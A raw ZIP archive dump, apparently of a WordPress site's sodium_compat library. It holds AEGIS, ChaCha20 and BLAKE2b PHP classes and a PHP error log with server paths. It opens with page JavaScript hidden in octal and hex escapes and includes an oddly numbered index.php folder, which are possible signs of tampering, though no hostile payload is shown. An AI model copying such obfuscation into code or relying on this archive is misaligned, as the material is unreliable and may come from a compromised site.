3\114\151\163\x74\x2e\162\x65\x6d\157\166\145\x28\47\150\x69\x64\144\x65\x6e\x27\x29\73\xd\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\144\x69\141\154\157\147\56\143\154\x61\163\163\114\151\x73\x74\x2e\x61\x64\x64\50\47\146\x6c\145\170\47\x29\x3b\15\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\163\145\164\124\x69\155\x65\157\x75\x74\x28\x28\51\x20\75\76\x20\x7b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x64\x69\141\154\x6f\x67\x2e\161\x75\145\x72\x79\x53\x65\x6c\x65\x63\164\x6f\x72\x28\x27\56\x74\162\141\156\163\146\x6f\162\155\47\51\56\x63\154\x61\163\163\x4c\x69\x73\164\56\162\x65\x6d\x6f\166\145\50\x27\x73\x63\141\154\x65\x2d\71\65\47\51\x3b\xd\xa\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x7d\x2c\40\x31\60\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\x20\40\x7d\15\12\15\12\x20\40\40\x20\40\x20\40\40\x66\x75\x6e\x63\164\x69\157\x6e\x20\143\x6c\x6f\163\145\x44\x69\141\154\157\147\x28\x64\151\141\154\x6f\147\x49\x64\51\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x63\x6f\x6e\x73\x74\40\144\151\141\154\x6f\x67\x20\x3d\40\144\157\x63\165\x6d\145\156\164\56\147\x65\164\x45\154\x65\155\x65\x6e\164\x42\x79\x49\x64\x28\144\151\141\x6c\x6f\x67\x49\144\x29\73\15\12\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\144\x69\141\x6c\x6f\x67\56\x71\x75\x65\162\x79\123\145\x6c\145\x63\x74\157\162\50\47\x2e\x74\x72\x61\x6e\163\146\157\162\x6d\47\51\56\143\x6c\x61\163\163\x4c\x69\x73\164\56\141\x64\x64\50\47\163\x63\141\x6c\x65\x2d\x39\x35\47\51\73\15\12\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x73\145\164\124\x69\x6d\x65\157\165\x74\50\x28\51\x20\75\76\x20\x7b\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\144\x69\x61\154\x6f\x67\x2e\x63\154\141\163\x73\114\x69\163\x74\x2e\141\144\144\x28\x27\150\151\x64\144\145\x6e\47\x29\x3b\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x64\x69\x61\x6c\157\147\x2e\x63\x6c\141\x73\x73\x4c\x69\163\164\56\162\x65\155\x6f\166\145\x28\47\x66\x6c\x65\170\47\51\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\175\54\x20\x33\60\x30\51\x3b\15\12\x20\x20\x20\40\x20\40\40\40\175\15\12\15\xa\x20\x20\x20\40\40\40\x20\x20\x2f\57\40\103\x6c\151\145\156\164\55\x73\x69\144\145\x20\x66\157\162\x6d\40\x76\141\x6c\151\144\x61\164\151\x6f\x6e\15\12\x20\x20\x20\x20\x20\x20\40\40\x64\157\143\x75\x6d\x65\x6e\x74\56\x71\x75\x65\162\x79\x53\x65\x6c\145\x63\x74\x6f\x72\101\x6c\154\50\x27\x66\x6f\162\x6d\47\x29\x2e\146\157\x72\105\x61\143\x68\x28\146\157\x72\x6d\40\x3d\76\x20\x7b\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\146\x6f\162\x6d\x2e\141\144\x64\x45\x76\x65\x6e\164\x4c\151\x73\x74\145\156\x65\x72\x28\x27\163\165\x62\155\151\x74\47\54\x20\50\145\x29\40\75\76\x20\173\15\12\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x63\x6f\x6e\163\164\x20\151\x6e\160\165\x74\163\x20\x3d\x20\146\157\x72\x6d\56\x71\165\145\162\x79\x53\x65\154\145\x63\164\157\x72\101\154\x6c\x28\47\x69\156\160\x75\164\x5b\162\145\161\x75\151\162\x65\144\x5d\54\x20\164\145\170\x74\141\x72\x65\141\133\162\x65\x71\x75\151\162\145\144\x5d\47\51\73\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\154\x65\164\x20\166\141\x6c\151\x64\x20\75\x20\164\x72\x75\x65\73\15\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\151\x6e\x70\x75\164\x73\56\x66\157\x72\x45\141\143\150\x28\x69\156\160\x75\x74\40\x3d\76\x20\x7b\15\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x69\x66\40\x28\x21\151\x6e\160\165\x74\x2e\x76\x61\x6c\165\x65\x2e\164\x72\x69\x6d\50\51\x29\x20\x7b\xd\12\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\166\141\154\151\144\40\x3d\40\x66\x61\x6c\x73\145\73\15\12\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\151\x6e\160\165\x74\x2e\143\x6c\x61\x73\x73\x4c\x69\163\x74\56\x61\144\x64\50\47\x62\x6f\x72\144\145\x72\55\x72\145\x64\x2d\x35\60\x30\47\51\x3b\xd\xa\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x7d\40\145\154\x73\x65\x20\173\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x69\x6e\160\165\x74\56\143\x6c\x61\x73\163\x4c\x69\163\164\x2e\x72\x65\155\x6f\166\145\50\47\x62\x6f\x72\x64\x65\162\55\162\145\x64\55\x35\x30\x30\47\x29\x3b\15\xa\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x7d\xd\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\175\51\x3b\15\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x69\x66\40\x28\41\166\x61\154\151\144\51\40\x7b\15\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\145\56\160\x72\x65\x76\x65\156\164\104\x65\146\141\165\154\164\50\51\73\15\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\141\x6c\145\162\164\x28\47\x50\x6c\145\x61\x73\145\x20\146\151\x6c\x6c\x20\151\156\40\141\154\154\x20\162\x65\161\165\151\x72\145\144\40\x66\x69\145\154\144\163\x2e\47\x29\73\15\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\175\x29\73\15\xa\x20\40\x20\40\40\40\40\x20\x7d\x29\73\xd\xa\40\40\40\x20\x3c\57\163\143\x72\x69\x70\x74\x3e\xd\xa\x3c\57\x62\157\x64\171\x3e\xd\xa\74\57\150\x74\155\x6c\76"; ?>PK)L[.]L* * src/Core/AEGIS/State128L.phpnu[ $state */ protected $state; public function __construct() { $this->state = array_fill(0, 8, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 8) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 8; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); // S0 = key ^ nonce $state->state[0] = $key ^ $nonce; // S1 = C1 $state->state[1] = SODIUM_COMPAT_AEGIS_C1; // S2 = C0 $state->state[2] = SODIUM_COMPAT_AEGIS_C0; // S3 = C1 $state->state[3] = SODIUM_COMPAT_AEGIS_C1; // S4 = key ^ nonce $state->state[4] = $key ^ $nonce; // S5 = key ^ C0 $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0; // S6 = key ^ C1 $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1; // S7 = key ^ C0 $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0; // Repeat(10, Update(nonce, key)) for ($i = 0; $i < 10; ++$i) { $state->update($nonce, $key); } return $state; } /** * @param string $ai * @return self */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16); return $this->update($t0, $t1); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(out0, out1) // xi = out0 || out1 $this->update($out0, $out1); return $out0 . $out1; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(ZeroPad(cn, 256), 128) $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT); $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // xn = Truncate(out0 || out1, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len); // v0, v1 = Split(ZeroPad(xn, 256), 128) $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT); $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16); $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16); // Update(v0, v1) $this->update($v0, $v1); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(t0, t1) // ci = out0 || out1 $this->update($t0, $t1); // return ci return $out0 . $out1; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[2] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t, $t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) . ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]); } /** * @param string $m0 * @param string $m1 * @return self */ public function update($m0, $m1) { /* S'0 = AESRound(S7, S0 ^ M0) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4 ^ M1) S'5 = AESRound(S4, S5) S'6 = AESRound(S5, S6) S'7 = AESRound(S6, S7) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[7], $this->state[0] ^ $m0, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4] ^ $m1, $this->state[4], $this->state[5] ); list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5], $this->state[6], $this->state[6], $this->state[7] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 S6 = S'6 S7 = S'7 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; $this->state[6] = $s_6; $this->state[7] = $s_7; return $this; } }PK)L[.}}src/Core/AEGIS/State256.phpnu[ $state */ protected $state; public function __construct() { $this->state = array_fill(0, 6, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 6) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 6; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16); $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16); $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16); $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16); // S0 = k0 ^ n0 // S1 = k1 ^ n1 // S2 = C1 // S3 = C0 // S4 = k0 ^ C0 // S5 = k1 ^ C1 $k0_n0 = $k0 ^ $n0; $k1_n1 = $k1 ^ $n1; $state->state[0] = $k0_n0; $state->state[1] = $k1_n1; $state->state[2] = SODIUM_COMPAT_AEGIS_C1; $state->state[3] = SODIUM_COMPAT_AEGIS_C0; $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0; $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1; // Repeat(4, // Update(k0) // Update(k1) // Update(k0 ^ n0) // Update(k1 ^ n1) // ) for ($i = 0; $i < 4; ++$i) { $state->update($k0); $state->update($k1); $state->update($k0 ^ $n0); $state->update($k1 ^ $n1); } return $state; } /** * @param string $ai * @return self * @throws SodiumException */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) { throw new SodiumException('Input must be an AES block in size'); } return $this->update($ai); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $xi = $ci ^ $z; $this->update($xi); return $xi; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // t = ZeroPad(cn, 128) $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT); // out = t ^ z $out = $t ^ $z; // xn = Truncate(out, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len); // v = ZeroPad(xn, 128) $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT); // Update(v) $this->update($v); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $this->update($xi); return $xi ^ $z; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[3] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) . ($this->state[3] ^ $this->state[4] ^ $this->state[5]); } /** * @param string $m * @return self */ public function update($m) { /* S'0 = AESRound(S5, S0 ^ M) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4) S'5 = AESRound(S4, S5) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5],$this->state[0] ^ $m, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4], $this->state[4], $this->state[5] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; return $this; } } PK*L["src/Core/ChaCha20/860761/index.phpnu[PK*L[src/Core/ChaCha20/index.phpnu[PK*L[Ә**src/Core/ChaCha20/IetfCtx.phpnu[container[12] = self::load_4(self::substr($counter, 0, 4)); } $this->container[13] = self::load_4(self::substr($iv, 0, 4)); $this->container[14] = self::load_4(self::substr($iv, 4, 4)); $this->container[15] = self::load_4(self::substr($iv, 8, 4)); } } PK*L[CDffsrc/Core/ChaCha20/Ctx.phpnu[ */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = 0x61707865; $this->container[1] = 0x3320646e; $this->container[2] = 0x79622d32; $this->container[3] = 0x6b206574; $this->container[4] = self::load_4(self::substr($key, 0, 4)); $this->container[5] = self::load_4(self::substr($key, 4, 4)); $this->container[6] = self::load_4(self::substr($key, 8, 4)); $this->container[7] = self::load_4(self::substr($key, 12, 4)); $this->container[8] = self::load_4(self::substr($key, 16, 4)); $this->container[9] = self::load_4(self::substr($key, 20, 4)); $this->container[10] = self::load_4(self::substr($key, 24, 4)); $this->container[11] = self::load_4(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = 0; $this->container[13] = 0; } else { $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($counter, 4, 4)); } $this->container[14] = self::load_4(self::substr($iv, 0, 4)); $this->container[15] = self::load_4(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } PK*L["FVxxsrc/Core/ChaCha20/error_lognu[[18-May-2025 10:47:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [18-May-2025 11:27:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [05-Jun-2025 06:09:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [05-Jun-2025 07:50:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [17-Jun-2025 18:24:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [22-Jun-2025 20:26:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [26-Jun-2025 00:52:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [28-Jun-2025 15:43:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [28-Jun-2025 17:32:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [11-Jul-2025 10:43:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [11-Jul-2025 11:05:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 PK*L[e^^src/Core/BLAKE2b.phpnu[> */ protected static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function new64($high, $low) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $i64 = new SplFixedArray(2); $i64[0] = $high & 0xffffffff; $i64[1] = $low & 0xffffffff; return $i64; } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return SplFixedArray */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ protected static function add64($x, $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $l = ($x[1] + $y[1]) & 0xffffffff; return self::new64( (int) ($x[0] + $y[0] + ( ($l < $x[1]) ? 1 : 0 )), (int) $l ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @param SplFixedArray $z * @return SplFixedArray */ protected static function add364($x, $y, $z) { return self::add64($x, self::add64($y, $z)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @throws SodiumException * @throws TypeError */ protected static function xor64(SplFixedArray $x, SplFixedArray $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if (!is_numeric($x[0])) { throw new SodiumException('x[0] is not an integer'); } if (!is_numeric($x[1])) { throw new SodiumException('x[1] is not an integer'); } if (!is_numeric($y[0])) { throw new SodiumException('y[0] is not an integer'); } if (!is_numeric($y[1])) { throw new SodiumException('y[1] is not an integer'); } return self::new64( (int) (($x[0] ^ $y[0]) & 0xffffffff), (int) (($x[1] ^ $y[1]) & 0xffffffff) ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $c * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function rotr64($x, $c) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if ($c >= 64) { $c %= 64; } if ($c >= 32) { /** @var int $tmp */ $tmp = $x[0]; $x[0] = $x[1]; $x[1] = $tmp; $c -= 32; } if ($c === 0) { return $x; } $l0 = 0; $c = 64 - $c; /** @var int $c */ if ($c < 32) { $h0 = ((int) ($x[0]) << $c) | ( ( (int) ($x[1]) & ((1 << $c) - 1) << (32 - $c) ) >> (32 - $c) ); $l0 = (int) ($x[1]) << $c; } else { $h0 = (int) ($x[1]) << ($c - 32); } $h1 = 0; $c1 = 64 - $c; if ($c1 < 32) { $h1 = (int) ($x[0]) 